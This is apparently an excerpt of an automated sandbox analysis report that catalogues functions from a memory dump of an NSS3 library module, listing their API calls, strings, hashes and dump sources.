Opcode ID: 22b7a8d2ef676f60125aca13eedd16664bc92c3fee75bc7053f74d697f8e4f05
Instruction ID: de297760b8e4570902a3f08134cf0cf4033cff3bd29828cb874390a473a00e34
Opcode Fuzzy Hash: 22b7a8d2ef676f60125aca13eedd16664bc92c3fee75bc7053f74d697f8e4f05
Instruction Fuzzy Hash: 8FA129B19082019BEB188F24DC45B9B33A5DB8130CF244939F919EBB81E775D866C75B

Function 6C67AEC0 Relevance: 24.3, APIs: 16, Instructions: 272threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6C65AB95,00000000,?,00000000,00000000,00000000), ref: 6C67AF25
EnterCriticalSection.KERNEL32(?,?,?,?,6C65AB95,00000000,?,00000000,00000000,00000000), ref: 6C67AF39
PR_Unlock.NSS3(?,?,?,6C65AB95,00000000,?,00000000,00000000,00000000), ref: 6C67AF51
PR_SetError.NSS3(FFFFE041,00000000,?,?,?,6C65AB95,00000000,?,00000000,00000000,00000000), ref: 6C67AF69
TlsGetValue.KERNEL32 ref: 6C67B06B
EnterCriticalSection.KERNEL32(?), ref: 6C67B083
PR_Unlock.NSS3(?), ref: 6C67B0A4
TlsGetValue.KERNEL32 ref: 6C67B0C1
EnterCriticalSection.KERNEL32(00000000), ref: 6C67B0D9
PR_Unlock.NSS3 ref: 6C67B102
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C67B151
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C67B182

Part of subcall function 6C6AFAB0: free.MOZGLUE(?,-00000001,?,?,6C64F673,00000000,00000000), ref: 6C6AFAC7

PR_SetError.NSS3(FFFFE08A,00000000), ref: 6C67B177

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,6C65AB95,00000000,?,00000000,00000000,00000000), ref: 6C67B1A2
PR_GetCurrentThread.NSS3(?,?,?,?,6C65AB95,00000000,?,00000000,00000000,00000000), ref: 6C67B1AA
PR_SetError.NSS3(FFFFE018,00000000,?,?,?,?,6C65AB95,00000000,?,00000000,00000000,00000000), ref: 6C67B1C2

Part of subcall function 6C6A1560: TlsGetValue.KERNEL32(00000000,?,6C670844,?), ref: 6C6A157A
Part of subcall function 6C6A1560: EnterCriticalSection.KERNEL32(?,?,?,6C670844,?), ref: 6C6A158F
Part of subcall function 6C6A1560: PR_Unlock.NSS3(?,?,?,?,6C670844,?), ref: 6C6A15B2

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlock$ErrorItem_UtilZfree$CurrentThreadfree
String ID:
API String ID: 4188828017-0
Opcode ID: b4256934b1a81df0f31671c799b54010b8c6d9927f5b717cc7dd99fa5dae8639
Instruction ID: c73c720e395a00100922ccd4b5ebd6714f69580e21471cf4aa05a7fbd812be4f
Opcode Fuzzy Hash: b4256934b1a81df0f31671c799b54010b8c6d9927f5b717cc7dd99fa5dae8639
Instruction Fuzzy Hash: B2A1D1B1D00206ABEF109F64DC41BEEB7B4EF49308F144524E905A7712E732E959CBAA

Function 6C672C40 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 163COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(#?gl,?,6C66E477,?,?,?,00000001,00000000,?,?,6C673F23,?), ref: 6C672C62
EnterCriticalSection.KERNEL32(0000001C,?,6C66E477,?,?,?,00000001,00000000,?,?,6C673F23,?), ref: 6C672C76
PL_HashTableLookup.NSS3(00000000,?,?,6C66E477,?,?,?,00000001,00000000,?,?,6C673F23,?), ref: 6C672C86
PR_Unlock.NSS3(00000000,?,?,?,?,6C66E477,?,?,?,00000001,00000000,?,?,6C673F23,?), ref: 6C672C93

Part of subcall function 6C6FDD70: TlsGetValue.KERNEL32 ref: 6C6FDD8C
Part of subcall function 6C6FDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C6FDDB4

TlsGetValue.KERNEL32(?,?,?,?,?,6C66E477,?,?,?,00000001,00000000,?,?,6C673F23,?), ref: 6C672CC6
EnterCriticalSection.KERNEL32(0000001C,?,?,?,?,?,6C66E477,?,?,?,00000001,00000000,?,?,6C673F23,?), ref: 6C672CDA
PL_HashTableLookup.NSS3(00000000,?,?,?,?,?,?,6C66E477,?,?,?,00000001,00000000,?,?,6C673F23), ref: 6C672CEA
PR_Unlock.NSS3(00000000,?,?,?,?,?,?,?,6C66E477,?,?,?,00000001,00000000,?), ref: 6C672CF7
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,6C66E477,?,?,?,00000001,00000000,?), ref: 6C672D4D
EnterCriticalSection.KERNEL32(?), ref: 6C672D61
PL_HashTableLookup.NSS3(?,?), ref: 6C672D71
PR_Unlock.NSS3(?), ref: 6C672D7E

Part of subcall function 6C6407A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C5D204A), ref: 6C6407AD
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5D204A), ref: 6C6407CD
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5D204A), ref: 6C6407D6
Part of subcall function 6C6407A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C5D204A), ref: 6C6407E4
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,6C5D204A), ref: 6C640864
Part of subcall function 6C6407A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C640880
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,?,6C5D204A), ref: 6C6408CB
Part of subcall function 6C6407A0: TlsGetValue.KERNEL32(?,?,6C5D204A), ref: 6C6408D7
Part of subcall function 6C6407A0: TlsGetValue.KERNEL32(?,?,6C5D204A), ref: 6C6408FB

Strings

#?gl, xrefs: 6C672C43

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Value$CriticalSection$EnterHashLookupTableUnlock$calloc$Leave
String ID: #?gl
API String ID: 2446853827-3528240498
Opcode ID: 405cd4fe03c96939331ebee95d1cd3edca420f304c070ba4366a49c951f4120c
Instruction ID: 9ad7b14718b6e1c8ee91811fa165ace448525d4ee584b7cf5fde45cca95f9b67
Opcode Fuzzy Hash: 405cd4fe03c96939331ebee95d1cd3edca420f304c070ba4366a49c951f4120c
Instruction Fuzzy Hash: B351E5B5D00605EBDB109F24DC458AA77B8FF1A35CB148930ED1897B11EB31E964C7E9

Function 6C6CAD90 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 127COMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6CADB1

Part of subcall function 6C6ABE30: SECOID_FindOID_Util.NSS3(6C66311B,00000000,?,6C66311B,?), ref: 6C6ABE44

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C6CADF4
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C6CAE08

Part of subcall function 6C6AB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7818D0,?), ref: 6C6AB095

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C6CAE25
PL_FreeArenaPool.NSS3 ref: 6C6CAE63
PR_CallOnce.NSS3(6C7B2AA4,6C6B12D0), ref: 6C6CAE4D

Part of subcall function 6C5D4C70: TlsGetValue.KERNEL32(?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4C97
Part of subcall function 6C5D4C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4CB0
Part of subcall function 6C5D4C70: PR_Unlock.NSS3(?,?,?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4CC9

SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6CAE93
PR_CallOnce.NSS3(6C7B2AA4,6C6B12D0), ref: 6C6CAECC
PL_FreeArenaPool.NSS3 ref: 6C6CAEDE
PL_FinishArenaPool.NSS3 ref: 6C6CAEE6
PR_SetError.NSS3(FFFFD004,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6CAEF5
PL_FinishArenaPool.NSS3 ref: 6C6CAF16

Strings

security, xrefs: 6C6CADEE

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ArenaPool$Util$AlgorithmCallErrorFinishFreeOnceTag_$CriticalDecodeDestroyEnterFindInitItem_PublicQuickSectionUnlockValue
String ID: security
API String ID: 3441714441-3315324353
Opcode ID: 61bff6b2bb6bf6a80249b080d97401dd5a9447dabf5a7986831d16c69e5a71cd
Instruction ID: 30b04a4a87e8a1d094b011f1db4aa56e5b106d5621c01bb42be3d72708355082
Opcode Fuzzy Hash: 61bff6b2bb6bf6a80249b080d97401dd5a9447dabf5a7986831d16c69e5a71cd
Instruction Fuzzy Hash: 43413AB1A04304A7E7205B18EC49BAB72B8EF4630CF140625E914A2F42F735DA1AC7DF

Function 6C76AF70 Relevance: 22.7, APIs: 15, Instructions: 221threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C719890: TlsGetValue.KERNEL32(?,?,?,6C7197EB), ref: 6C71989E

EnterCriticalSection.KERNEL32(?), ref: 6C76AF88
_PR_MD_NOTIFYALL_CV.NSS3(?), ref: 6C76AFCE
PR_SetPollableEvent.NSS3(?), ref: 6C76AFD9
EnterCriticalSection.KERNEL32(?), ref: 6C76AFEF
_PR_MD_NOTIFY_CV.NSS3(?), ref: 6C76B00F
_PR_MD_UNLOCK.NSS3(?), ref: 6C76B02F
_PR_MD_UNLOCK.NSS3(?), ref: 6C76B070
PR_JoinThread.NSS3(?), ref: 6C76B07B
free.MOZGLUE(?), ref: 6C76B084
EnterCriticalSection.KERNEL32(?), ref: 6C76B09B
_PR_MD_UNLOCK.NSS3(?), ref: 6C76B0C4
PR_JoinThread.NSS3(?), ref: 6C76B0F3
free.MOZGLUE(?), ref: 6C76B0FC
PR_JoinThread.NSS3(?), ref: 6C76B137
free.MOZGLUE(?), ref: 6C76B140

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalEnterJoinSectionThreadfree$EventPollableValue
String ID:
API String ID: 235599594-0
Opcode ID: 21fd622904193fc153ff19e6334f295dae96a49c9dfabf141f1235502bf79b4f
Instruction ID: f9ddc9833ab67dbbcbe1a80a245148f32037fe0ed269237f433b6ae319585ef8
Opcode Fuzzy Hash: 21fd622904193fc153ff19e6334f295dae96a49c9dfabf141f1235502bf79b4f
Instruction Fuzzy Hash: 52916DB5900601DFCB04DF16C98494ABBF1FF8535872985A9E8195BF22E732FC46CB91

Function 6C6E5CF0 Relevance: 22.7, APIs: 15, Instructions: 190COMMON

Download Yara Rule

APIs

Part of subcall function 6C6E2BE0: CERT_DestroyCertificate.NSS3(?,00000000,00000000,?,6C6E2A28,00000060,00000001), ref: 6C6E2BF0
Part of subcall function 6C6E2BE0: CERT_DestroyCertificate.NSS3(?,00000000,00000000,?,6C6E2A28,00000060,00000001), ref: 6C6E2C07
Part of subcall function 6C6E2BE0: SECKEY_DestroyPublicKey.NSS3(?,00000000,00000000,?,6C6E2A28,00000060,00000001), ref: 6C6E2C1E
Part of subcall function 6C6E2BE0: free.MOZGLUE(?,00000000,00000000,?,6C6E2A28,00000060,00000001), ref: 6C6E2C4A

free.MOZGLUE(?,?,6C6EAAD4,?,?,?,?,?,?,?,?,00000000,?,6C6E80C1), ref: 6C6E5D0F
free.MOZGLUE(?,?,?,6C6EAAD4,?,?,?,?,?,?,?,?,00000000,?,6C6E80C1), ref: 6C6E5D4E
free.MOZGLUE(?,?,?,6C6EAAD4,?,?,?,?,?,?,?,?,00000000,?,6C6E80C1), ref: 6C6E5D62
free.MOZGLUE(?,?,?,?,6C6EAAD4,?,?,?,?,?,?,?,?,00000000,?,6C6E80C1), ref: 6C6E5D85
free.MOZGLUE(?,?,?,?,6C6EAAD4,?,?,?,?,?,?,?,?,00000000,?,6C6E80C1), ref: 6C6E5D99
free.MOZGLUE(?,?,?,?,6C6EAAD4,?,?,?,?,?,?,?,?,00000000,?,6C6E80C1), ref: 6C6E5DFA
SECKEY_DestroyPrivateKey.NSS3(?,?,?,?,6C6EAAD4,?,?,?,?,?,?,?,?,00000000,?,6C6E80C1), ref: 6C6E5E33
SECKEY_DestroyPublicKey.NSS3(?,?,?,?,?,6C6EAAD4,?,?,?,?,?,?,?,?,00000000), ref: 6C6E5E3E
free.MOZGLUE(?,?,?,?,?,?,6C6EAAD4,?,?,?,?,?,?,?,?,00000000), ref: 6C6E5E47
free.MOZGLUE(?,?,?,?,6C6EAAD4,?,?,?,?,?,?,?,?,00000000,?,6C6E80C1), ref: 6C6E5E60
SECITEM_ZfreeItem_Util.NSS3(00000008,00000000,?,?,?,6C6EAAD4,?,?,?,?,?,?,?,?,00000000), ref: 6C6E5E78
free.MOZGLUE(?,?,?,?,?,?,?,6C6EAAD4), ref: 6C6E5EB9
free.MOZGLUE(?,?,?,?,?,?,?,6C6EAAD4), ref: 6C6E5EF0
SECKEY_DestroyPrivateKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,6C6EAAD4), ref: 6C6E5F3D
SECKEY_DestroyPublicKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6C6EAAD4), ref: 6C6E5F4B

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: free$Destroy$Public$CertificatePrivate$Item_UtilZfree
String ID:
API String ID: 4273776295-0
Opcode ID: e791a5d963983e690068c154b75e9ddf8b89e6e44c5a412845851091352e3bbe
Instruction ID: ccfaa29ebd7421f033e672f1e677cedeafec0bb7f6cb9aee69864ac51dab5b3d
Opcode Fuzzy Hash: e791a5d963983e690068c154b75e9ddf8b89e6e44c5a412845851091352e3bbe
Instruction Fuzzy Hash: 2971C2B4A05B019FD700CF60D884A96B7F5FF89308F148529E81E87B11EB32F955CB59

Function 6C668DE0 Relevance: 22.7, APIs: 15, Instructions: 173memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?), ref: 6C668E22
EnterCriticalSection.KERNEL32(?), ref: 6C668E36
memset.VCRUNTIME140(?,00000000,?), ref: 6C668E4F
calloc.MOZGLUE(00000001,?,?,?), ref: 6C668E78
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6C668E9B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C668EAC
PL_ArenaAllocate.NSS3(?,?), ref: 6C668EDE
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6C668EF0
memset.VCRUNTIME140(?,00000000,?), ref: 6C668F00
free.MOZGLUE(?), ref: 6C668F0E
memcpy.VCRUNTIME140(?,?,?), ref: 6C668F39
memset.VCRUNTIME140(?,00000000,?), ref: 6C668F4A
memset.VCRUNTIME140(?,00000000,?), ref: 6C668F5B
PR_Unlock.NSS3(?), ref: 6C668F72
PR_Unlock.NSS3(?), ref: 6C668F82

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: memset$memcpy$Unlock$AllocateArenaCriticalEnterSectionValuecallocfree
String ID:
API String ID: 1569127702-0
Opcode ID: 3b53da0e8bc34380ef8e9afb662128bf22662be034f5b46d1021dc1c1b29343f
Instruction ID: 4ed5d4e1d00a07b72f3c5744550685c3ed520d2649cf699b35357d5168366f8a
Opcode Fuzzy Hash: 3b53da0e8bc34380ef8e9afb662128bf22662be034f5b46d1021dc1c1b29343f
Instruction Fuzzy Hash: 18510BB2D00215AFD7009F7ACC449AEB7B9EF5A358B144129EC089BF10E731ED4587E6

Function 6C760FF0 Relevance: 22.6, APIs: 15, Instructions: 92COMMON

Download Yara Rule

APIs

PR_Lock.NSS3(?), ref: 6C761000

Part of subcall function 6C719BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6C641A48), ref: 6C719BB3
Part of subcall function 6C719BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6C641A48), ref: 6C719BC8

PR_SetError.NSS3(FFFFE8D5,00000000), ref: 6C761016

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

PR_Unlock.NSS3(?), ref: 6C761021

Part of subcall function 6C6FDD70: TlsGetValue.KERNEL32 ref: 6C6FDD8C
Part of subcall function 6C6FDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C6FDDB4

PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C761046
PR_Unlock.NSS3(?), ref: 6C76106B
PR_Lock.NSS3 ref: 6C761079
PR_Unlock.NSS3 ref: 6C761096
free.MOZGLUE(?), ref: 6C7610A7
free.MOZGLUE(?), ref: 6C7610B4
PR_DestroyCondVar.NSS3(?), ref: 6C7610BF
PR_DestroyCondVar.NSS3(?), ref: 6C7610CA
PR_DestroyCondVar.NSS3(?), ref: 6C7610D5
PR_DestroyCondVar.NSS3(?), ref: 6C7610E0
PR_DestroyLock.NSS3(?), ref: 6C7610EB
free.MOZGLUE(?), ref: 6C761105

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Destroy$Cond$LockUnlockValuefree$CriticalErrorSection$EnterLeave
String ID:
API String ID: 8544004-0
Opcode ID: d5844f10117e651e206211e29e9981062243c96b94bfa0603b7885be07ad219d
Instruction ID: 0be9266e25295d986855f9001a957344754722453cf731bed1f07a0631cffab7
Opcode Fuzzy Hash: d5844f10117e651e206211e29e9981062243c96b94bfa0603b7885be07ad219d
Instruction Fuzzy Hash: 77316BB5900402BBDB019F15EE45A45BBB6FF02319B188130E80952F61E732F979EBDA

Function 6C5DDC60 Relevance: 21.3, APIs: 9, Strings: 3, Instructions: 282COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6C5DDD56
memcpy.VCRUNTIME140(0000FFFE,?,?), ref: 6C5DDD7C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6C5DDE67
memcpy.VCRUNTIME140(0000FFFC,?,?), ref: 6C5DDEC4
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5DDECD

Strings

%s at line %d of [%.10s], xrefs: 6C5DDF7C, 6C5DDFEC
database corruption, xrefs: 6C5DDF77, 6C5DDFE7
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5DDF6D, 6C5DDFCC, 6C5DDFDD

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: memcpy$_byteswap_ulong
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 2339628231-598938438
Opcode ID: 9229fedb5ee16a46f2b1f169addab3cd11a2c32e7cfd13c0ad3c1e43b629f763
Instruction ID: c17f001fb6a41653d29d53ad03bc4551fc80e228bc2deba9a953e3157f71b89e
Opcode Fuzzy Hash: 9229fedb5ee16a46f2b1f169addab3cd11a2c32e7cfd13c0ad3c1e43b629f763
Instruction Fuzzy Hash: E6A1B3716043069BC710DF2DCC80A6AB7F5EF95308F1A896DE8858BB51E730F945CBA6

Function 6C69EDD0 Relevance: 21.2, APIs: 14, Instructions: 239memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(?), ref: 6C69EE0B

Part of subcall function 6C6B0BE0: malloc.MOZGLUE(6C6A8D2D,?,00000000,?), ref: 6C6B0BF8
Part of subcall function 6C6B0BE0: TlsGetValue.KERNEL32(6C6A8D2D,?,00000000,?), ref: 6C6B0C15

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C69EEE1

Part of subcall function 6C691D50: TlsGetValue.KERNEL32(00000000,-00000018), ref: 6C691D7E
Part of subcall function 6C691D50: EnterCriticalSection.KERNEL32(?), ref: 6C691D8E
Part of subcall function 6C691D50: PR_Unlock.NSS3(?), ref: 6C691DD3

TlsGetValue.KERNEL32 ref: 6C69EE51
EnterCriticalSection.KERNEL32(?), ref: 6C69EE65
PR_Unlock.NSS3(?), ref: 6C69EEA2
free.MOZGLUE(?), ref: 6C69EEBB
PR_SetError.NSS3(00000000,00000000), ref: 6C69EED0
PR_Unlock.NSS3(?), ref: 6C69EF48
free.MOZGLUE(?), ref: 6C69EF68
PR_SetError.NSS3(00000000,00000000), ref: 6C69EF7D
PK11_DoesMechanism.NSS3(?,?), ref: 6C69EFA4
free.MOZGLUE(?), ref: 6C69EFDA
PR_SetError.NSS3(FFFFE040,00000000), ref: 6C69F055
free.MOZGLUE(?), ref: 6C69F060

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Errorfree$UnlockValue$CriticalEnterSection$Alloc_DoesK11_MechanismUtilmalloc
String ID:
API String ID: 2524771861-0
Opcode ID: 1b5c8277085b0aaf0e628a0e698ff6ad375d3f95282e3bb5168e4128c866f2c9
Instruction ID: 30126aafb8ff49667068a156bd3657370fcb8a055a26e1405f569689917ac487
Opcode Fuzzy Hash: 1b5c8277085b0aaf0e628a0e698ff6ad375d3f95282e3bb5168e4128c866f2c9
Instruction Fuzzy Hash: 3A8181B1A0020AABDF00DFA5DC45BEE7BB5BF09318F144025E909A3711E731E965CBA9

Function 6C664CF0 Relevance: 21.2, APIs: 14, Instructions: 237memoryCOMMON

Download Yara Rule

APIs

PK11_SignatureLen.NSS3(?), ref: 6C664D80
PORT_Alloc_Util.NSS3(00000000), ref: 6C664D95
PORT_NewArena_Util.NSS3(00000800), ref: 6C664DF2
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C664E2C
PR_SetError.NSS3(FFFFE028,00000000), ref: 6C664E43
PORT_NewArena_Util.NSS3(00000800), ref: 6C664E58
SGN_CreateDigestInfo_Util.NSS3(00000001,?,?), ref: 6C664E85
DER_Encode_Util.NSS3(?,?,6C7B05A4,00000000), ref: 6C664EA7
PK11_SignWithMechanism.NSS3(?,-00000001,00000000,?,?), ref: 6C664F17
DSAU_EncodeDerSigWithLen.NSS3(?,?,?), ref: 6C664F45
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C664F62
